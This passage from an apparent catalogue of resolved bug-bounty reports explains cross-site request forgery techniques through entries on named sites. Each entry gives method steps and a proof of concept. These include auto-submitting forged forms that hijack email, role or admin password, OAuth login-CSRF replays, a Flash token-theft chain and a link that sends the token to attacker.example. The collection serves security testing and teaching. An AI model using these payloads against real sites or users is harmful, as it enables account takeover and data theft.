A state-changing endpoint accepts requests when the X-CSRFToken header and csrftoken cookie are both stripped (sending only sessionid), so cross-site requests succeed without any token.
Method
- Take a legitimate POST that carries X-CSRFToken + csrftoken cookie
- Remove the X-CSRFToken header and the csrftoken cookie, keep only sessionid
- Resubmit; the action still succeeds
POST /photos/album/1701/upload_photo/ HTTP/1.1
Cookie: sessionid=<victim>
(no X-CSRFToken, no csrftoken cookie)
Insight — Test CSRF by fully removing the token (not just mangling it); frameworks that only validate a token 'if present' fail open. Also try GET/PUT which may skip checks.
Real-world example
Cross-site flashing via crossdomain.xml to steal CSRF token from 404 page
◆ Info
Specimen #136481 · vimeo · awarded · 15 votes · resolved
Program vimeoSurface webChain crossdomain trust -> cross-site flashing -> same-origiTag cors
Root cause
A permissive crossdomain.xml plus a Flash SWF vulnerable to cross-site flashing (attacker-controlled config_url flashvar) lets an external SWF load the trusted SWF, read a same-origin page that prints the XSRF token (a 404 page), and replay it in forged POSTs.
Method
- Find a crossdomain.xml that trusts a CDN/subdomain hosting a SWF (here *.vimeocdn.com, moogaloop.swf).
- Host evil.swf that loads the trusted moogaloop.swf and controls its config_url flashvar (cross-site flashing).
- Use the trusted SWF's origin to fetch a same-origin page that leaks the XSRF token in HTML (the /moogaloop 404 page).
- Submit forged POSTs (/settings, /settings/videos) with the stolen token: rename user, flip all videos to public, exfiltrate user id/type.
<!-- evil.swf loads trusted SWF and reads token -->
// moogaloop.swf?config_url=https://evil/attacker.xml (cross-site flashing)
// then AJAX-read https://vimeo.com/moogaloop (404 page leaks XSRF token)
// POST https://vimeo.com/settings/videos privacy=anybody xsrft=<STOLEN>
Insight — crossdomain.xml is an SOP hole for Flash: any origin it trusts that hosts a controllable SWF can read your same-origin pages. Never print CSRF tokens or PII into error/404 pages. Audit legacy SWFs for unsanitized config_url/flashvars.
Real-world example
Login CSRF via OAuth 1.0a with no state binding
◆ Info
Specimen #2228 · phabricator · awarded · 14 votes · resolved
Program phabricatorSurface webTag oauthTag account-takeover
Root cause
The social-login flow keeps no state tying the OAuth callback to the browser that started it, so an attacker can pre-authorize, capture a valid oauth_token/oauth_verifier, and feed the callback URL to a victim to log them into the attacker's account.
Method
- Attacker starts the Twitter OAuth flow with the app and approves it.
- Attacker records and drops the redirect back to the app so the token isn't consumed.
- Attacker sends the victim /auth/login/twitter?oauth_token=ATTACKER&oauth_verifier=ATTACKER.
- Victim is silently logged into the attacker's account.
https://target/auth/login/twitter:twitter.com/?oauth_token={attacker_token}&oauth_verifier={attacker_verifier}
Insight — Any SSO/OAuth login lacking a per-session state/nonce bound in the callback is a login-CSRF vector, even OAuth 1.0a (no native state param) by putting a secret in oauth_callback. Test by capturing your own callback and replaying it in a victim's browser.
Real-world example
Mobile backend API signup CSRF via replayable signed URL params
◆ Info
Specimen #178831 · yelp · awarded · 13 votes · resolved
Program yelpSurface apiTag account-takeover
Root cause
A mobile backend endpoint (auto-api) processes account creation with no cookie, CSRF token, or User-Agent check; its request signature lives in reusable URL query params, so a captured signed URL can be replayed cross-site to create accounts on a victim.
Method
- Capture a signed mobile-API request (time/nonce/signature in the query string).
- Wrap it in an HTML form posting to the endpoint; regenerate the signature if expired.
- Victim submitting the form creates an account (or performs the action) with no session/token validation.
<form action="https://auto-api.yelp.com/account/create_secure?time=...&nonce=...&signature=..." method="post">
<input type="hidden" name="first_name" value="Test1">
<input type="hidden" name="email" value="ATTACKER@example.com">
<input type="hidden" name="password" value="123123qq">
</form>
Insight — Mobile/backend API hosts (auto-api., api.) often skip web CSRF defenses because they assume a native client. If auth relies only on query-string signatures (not cookies+token), those requests are cross-site replayable. Always test the mobile API surface separately from the web app.
Real-world example
Token present in form but not validated server-side (remove-token test)
◆ Info
Specimen #7962 · localize · none · 12 votes · resolved
Program localizeSurface webTag account-takeover
Root cause
The form ships a CSRFToken field, but the server does not actually verify it: deleting the token from the request still succeeds, so the token is cosmetic.
Method
- Submit the legitimate request, then remove the CSRF token parameter entirely and replay.
- If it still succeeds, the token is not validated -> full CSRF.
- Deliver as a normal cross-site POST form without the token.
<form action="http://www.localize.io/add_phrase/59/languages/3" method="POST">
<input type="hidden" name="add_phrase[key]" value="asdasd">
<input type="hidden" name="add_phrase[string]" value="456">
</form>
<!-- CSRFToken field intentionally omitted -->
Insight — Presence of a token != protection. Always run the token-validation matrix: (1) remove token, (2) use another user's/session's token, (3) empty token, (4) reuse an old token, (5) change method/Content-Type. Removing it succeeding is the single most common CSRF false-defense.
Real-world example
CSRF defense-in-depth failures exploitable given a read-only SOP bypass
◆ Info
Specimen #103787 · security · USD 2500 · 11 votes · resolved
Program securitySurface webChain SOP bypass/UXSS -> read CSRF token from HTML -> _methoTag cors
Root cause
Anti-CSRF relies only on a token that (1) is printed into HTML responses, (2) is not bound per-action, and (3) can drive PATCH/DELETE via _method; combined with any content-read SOP bypass/UXSS, the token is extracted and replayed.
Method
- Identify pages that print the CSRF token into HTML (e.g. settings/profile/edit).
- Obtain read-only cross-origin content access via a SOP bypass (Flash CVE-2015-3115 / Rosetta Flash / browser UXSS).
- Frame or fetch a resource lacking X-Frame-Options (e.g. CloudFlare /cdn-cgi/trace) to bootstrap the read; extract the token via AJAX.
- Replay the token in a forged state-changing request; abuse _method to reach PATCH/DELETE handlers.
1) read token from https://TARGET/settings/profile/edit (token in HTML)
2) forge POST with _method=PATCH/DELETE + stolen authenticity_token
# framing bootstrapped via https://TARGET/cdn-cgi/trace (no X-Frame-Options)
Insight — CSRF tokens must be defense-in-depth: don't emit them into readable HTML, bind them per-action, reject _method override for state changes, and don't rely on Origin (FF/IE omit it on form posts). Any SOP-read primitive turns a printed token into full CSRF. Note CloudFlare /cdn-cgi/* pages often lack X-Frame-Options.
Real-world example
Protected action reachable via an alternate unprotected endpoint
◆ Info
Specimen #103351 · shopify · awarded · 11 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
The UI action (Preview/install theme) POSTs with an authenticity token, but the underlying effect is also reachable by a direct GET to the /demo URL that performs the install with no token validation.
Method
- Observe the protected action's real backend endpoint (here the token-guarded POST to /demo).
- Try reaching the same effect via a simpler path/verb (direct GET to /themes/.../demo).
- Direct GET installs the theme in the victim's store with no token check.
https://themes.shopify.com/themes/editions/styles/light/demo
Insight — A token on the visible action doesn't mean the effect is protected. Look for alternate routes to the same operation: a GET variant, a legacy endpoint, a /demo or /preview URL, or a different verb. Enumerate all endpoints that reach a sensitive effect, not just the one the button uses.
Real-world example
Rails jquery-ujs data-method link leaks authenticity_token cross-origin
◆ Info
Specimen #47472 · security · USD 2000 · 10 votes · resolved
Program securitySurface webChain HTML injection -> data-method link -> cross-origin autTag account-takeover
Root cause
jquery-ujs (Rails UJS) turns an <a data-method="post"> click into a form POST that includes the page's authenticity_token, and it does so even when href is a different origin, so HTML-injected such a link exfiltrates the CSRF token to the attacker, defeating a strict CSP.
Method
- Inject (via a stored/HTML-injection bug) an anchor: <a href="https://attacker" data-method="post">.
- When the victim clicks it, Rails UJS builds a POST to the cross-origin href carrying the authenticity_token.
- Attacker reads the token from the incoming POST and replays it in a forged same-site form (e.g. add team member / add manager).
<a href="https://attacker.example/collect" data-method="post">Proof of Concept</a>
<!-- Rails UJS POSTs authenticity_token to the cross-origin href on click -->
Insight — data-method / data-remote (Rails UJS) and similar framework link-to-POST helpers attach the CSRF token to arbitrary hrefs, including cross-origin ones. Combined with any HTML-injection, this exfiltrates the token and bypasses a strict CSP (no JS needed). When auditing Rails apps, grep for data-method links and confirm they can't target external origins.
Real-world example
Anti-CSRF token present but never validated server-side
◆ Info
Specimen #742 · security · USD 100 · 10 votes · resolved
Program securitySurface webTag account-takeover
Root cause
The server renders an authenticity/CSRF token in the form but does not actually verify it on submission; the request completes even when the token is stripped or blank. A defense that looks present is not enforced.
Method
- Intercept a state-changing request that carries an anti-CSRF token (here: the password-reset submit).
- Delete the authenticity_token parameter (or blank it) and forward.
- Observe the action still succeeds and the user is logged in -> token is decorative.
POST /users/password submit with `authenticity_token` parameter removed entirely -> 200, password changed.
Insight — Never assume a CSRF token is enforced just because it appears in the form. Always test: (1) remove the token, (2) send a blank token, (3) send a token from a different session/user. Any of these succeeding = exploitable CSRF.
Real-world example
Auto-submit POST form on account-settings endpoint -> takeover
◆ Info
Specimen #152052 · concretecms · none · 10 votes · resolved
Program concretecmsSurface webChain CSRF profile email change -> password reset -> accountTag account-takeover
Root cause
Profile/account-settings update accepts a cross-site POST with no anti-CSRF token and no current-password reconfirmation, letting an attacker change email/username/role of a logged-in victim -> account takeover.
Method
- Capture the profile-save request (name, email, account type, etc.).
- Build an auto-submitting HTML form POSTing those fields to the save endpoint.
- Victim visits attacker page while logged in; their email/role is overwritten.
- Password-reset to the now-attacker-controlled email completes ATO.
<form action="https://TARGET/profile/preferences/-/save/" method="POST">
<input type="hidden" name="uName" value="attacker"/>
<input type="hidden" name="uEmail" value="attacker@evil.tld"/>
<input type="hidden" name="uAccountType" value="owner"/>
</form>
<script>document.forms[0].submit()</script>
Insight — Any account-settings write that (a) lacks a CSRF token and (b) doesn't reconfirm the current password is a takeover primitive. Prioritise endpoints that change email, role/privilege, or 2FA. Same primitive covers financial writes (add card #177635), moderation (ban/unban #381237), destructive actions (card removal #233099) and password change with no old-pw (#101909).
Real-world example
Reaching CSRF-protected GET sinks via same-origin param path-traversal (app supplies its own token)
◆ Info
Specimen #99708 · security · USD 500 · 9 votes · resolved
Program securitySurface webChain same-origin traversal -> forced OAuth callback -> poteTag oauth
Root cause
A search/loader parameter (report_id) is used to build a same-origin XHR URL. Path traversal in that param lets an attacker steer the app's own client into issuing arbitrary same-origin GETs - which the app decorates with a valid X-CSRF-Token - reaching endpoints that would otherwise require the token.
Method
- Find a param whose value is concatenated into a same-origin request path (here report_id -> /reports/<id>.json).
- Inject ../../../ to escape the reports path and target another endpoint.
- Neutralise the appended .json suffix by URL-encoding an extra `&asd=` param so it lands in the query string.
- Point the traversed request at a state-changing GET (e.g. OAuth integration callback /auth/slack/callback?code=...&state=...) to attempt takeover of a team integration.
report_id=../../../auth/slack/callback?code%3DCODE%26state%3DSTATE%26asd%3D
-> app issues: GET /auth/slack/callback?code=CODE&state=STATE&asd=.json (carrying the app's own X-CSRF-Token)
Insight — When CSRF tokens block direct forgery, look for a same-origin request builder you can redirect via path traversal - the app will attach the token for you. Watch for suffixes (.json) the app appends; absorb them with a trailing junk parameter. OAuth integration callbacks reachable this way can escalate to account/integration takeover if state validation is weak.
Real-world example
Login CSRF with attacker-fetchable, session-unbound token
◆ Info
Specimen #7531 · irccloud · awarded · 8 votes · resolved
Program irccloudSurface webTag account-takeover
Root cause
The login form's CSRF token is issued by an unauthenticated endpoint and is not bound to a session, so an attacker can obtain a valid token, embed it in a login CSRF form, and silently log the victim into the attacker's account.
Method
- Request the token-minting endpoint (POST /chat/auth-formtoken) to receive a fresh, session-independent token.
- Build a login form pre-filled with attacker email+password and the fetched token.
- Auto-submit in the victim's browser -> victim is now logged into the attacker's account.
- Anything the victim does (saved data, linked services) leaks into the attacker-controlled account.
<form action="https://TARGET/chat/login" method="POST">
<input type=hidden name=email value="attacker@evil.tld">
<input type=hidden name=password value="ATTACKER_PW">
<input type=hidden name=token value="<token from /chat/auth-formtoken>">
</form>
<script>document.forms[0].submit()</script>
Insight — Login CSRF protection is only real if the token is bound to the victim's pre-auth session. If any endpoint hands out a valid token to an anonymous requester, the login form is forgeable. Test by fetching a token in one context and replaying it from another.
Real-world example
Referer-only CSRF defense bypassed by stripping Referer (+ text/plain JSON smuggling)
◆ Info
Specimen #52635 · ui · awarded · 8 votes · resolved
Program uiSurface webTag account-takeover
Root cause
CSRF protection consists solely of checking that a Referer header is present and matches the host. Because the app treats a MISSING Referer as acceptable, forcing the browser to omit Referer bypasses the check entirely; JSON body is delivered via a text/plain form.
Method
- Confirm the app rejects cross-origin requests only when Referer mismatches, but a request with NO Referer is processed.
- Cause the browser to omit Referer (e.g. rel=noreferrer / meta referrer no-referrer / https->http downgrade / iframe body injection as in PoC).
- Send the state-change (admin password/email change) as an enctype=text/plain form so the JSON body is delivered without a preflight.
- Admin credentials changed -> full admin takeover.
<form action="https://127.0.0.1:8443/api/s/default/cmd/sitemgr" method="post" enctype="text/plain">
<input name='json={"name":"admin","x_password":"csrfpwd","email":"attacker@evil.tld","cmd":"set-self"}' value=''>
</form>
<!-- delivered with Referer stripped -->
Insight — Referer-based CSRF defenses fail open when a null/absent Referer is accepted. Always test: (1) send with no Referer, (2) send with a spoofable prefix. Combine with enctype=text/plain to POST JSON from a plain form and dodge CORS preflight. Applies to local admin panels bound to 127.0.0.1 too.
Real-world example
Login CSRF via OAuth callback missing state parameter
◆ Info
Specimen #13555 · factlink · none · 7 votes · resolved
Program factlinkSurface webTag oauthTag account-takeover
Root cause
The OAuth login flow keeps no per-request state, so an attacker can replay their own captured oauth_token/oauth_verifier against the victim's browser and silently log the victim into the ATTACKER's account (login CSRF).
Method
- Attacker starts the OAuth login, authorizes the app, and captures the callback oauth_token & oauth_verifier without consuming them
- Attacker feeds those values to the victim: /auth/login/twitter?oauth_token=ATTACKER_TOKEN&oauth_verifier=ATTACKER_VERIFIER
- Victim's browser completes login and is now authenticated as the attacker; anything the victim types/saves lands in the attacker's account
GET /auth/login/twitter:twitter.com/?oauth_token=ATTACKER_TOKEN&oauth_verifier=ATTACKER_VERIFIER
Insight — Any social-login/OAuth callback with no unguessable state/nonce bound to the initiating session is a login-CSRF sink. Also seen with plain username/password login forms that carry no CSRF token (#7936) and Slack's Google OAuth with no state (#2688). Escalate: harvest what the victim types into 'their' (attacker's) account, or pre-set attacker data then reclaim the session.
Real-world example
CSRF token bypass via empty/null authenticity_token
◆ Info
Specimen #208734 · files · awarded · 6 votes · resolved
Program filesSurface web
Root cause
The server treats a blank authenticity_token as valid (compares against an empty/absent server value or short-circuits when empty), so a forged request that simply sends an empty token passes CSRF validation.
Method
- Generate a CSRF PoC for the protected action (site settings update)
- Set the authenticity_token field to an empty value
- Submit; the state change succeeds without a real token
Content-Disposition: form-data; name="authenticity_token"
<-- empty value -->
Content-Disposition: form-data; name="_method"
patch
Insight — Always test CSRF tokens with empty string, removed field, and null - buggy validators accept the empty case (or compare '' == '' when server-side is also empty). Cheap, high-hit-rate bypass to try before anything fancier.
Real-world example
CSRF token not invalidated on logout (long-lived reusable token)
◆ Info
Specimen #2628 · slack · awarded · 5 votes · resolved
Program slackSurface web
Root cause
The anti-CSRF crumb is not rotated on logout/login and remains valid across sessions, so a token captured once (shared machine, prior leak, non-HttpOnly read) stays usable to forge state-changing requests indefinitely.
Method
- Log in, read the crumb from the settings page
- Log out and log back in
- Replace the fresh crumb with the previously captured one and perform a settings change (e.g. username) - it succeeds
POST /account/settings
...&crumb=OLD_CAPTURED_CRUMB # still accepted after logout/login
Insight — Test CSRF-token lifecycle: does it change on logout, on login, per session? A token that never rotates turns any one-time leak (Referer, HTTP, analytics, shared device) into permanent CSRF. Related weakness: non-rotating per-request tokens observed at drchrono (#141065).
Real-world example
CSRF via GET deletes victim's Gravatar image
◆ Info
Specimen #101145 · automattic · awarded · 4 votes · resolved
Program automatticSurface webTag account-takeover
Root cause
The remove-userimage endpoint performed a state-changing deletion via GET with no CSRF token, so a crafted link deletes the victim's avatar image.
Method
- Identify the victim's image id
- Craft the remove-userimage GET URL
- Get the victim to load it (img/link) while authenticated
https://en.gravatar.com/emails/remove-userimage/<image_id>
Insight — State-changing actions reachable via GET with no anti-CSRF token are one-click CSRF; hunt for delete/remove/toggle endpoints that accept GET.
Real-world example
Referer-based CSRF protection bypass via weak regex
◆ Info
Specimen #92644 · owncloud · none · 3 votes · resolved
Program owncloudSurface web
Root cause
CSRF protection relied on validating the Referer header with an insufficient regular expression, so a crafted attacker origin containing the expected domain substring passed the check.
Method
- Identify that state-changing requests are gated only by a Referer check
- Craft an attacker page whose URL satisfies the weak regex (e.g. trusted domain as a substring)
- Trigger the request cross-site; Referer passes and the action executes
# Weak referer regexes typically match the trusted host anywhere in the URL, e.g.:
# https://evil.com/?x=apps.owncloud.com (substring match)
# https://apps.owncloud.com.evil.com/ (prefix match, no anchor)
Insight — Whenever CSRF defense is Referer-based (not a token), test regex anchoring: put the trusted domain in a path/query/subdomain of an attacker host. Unanchored or substring regexes are the common failure.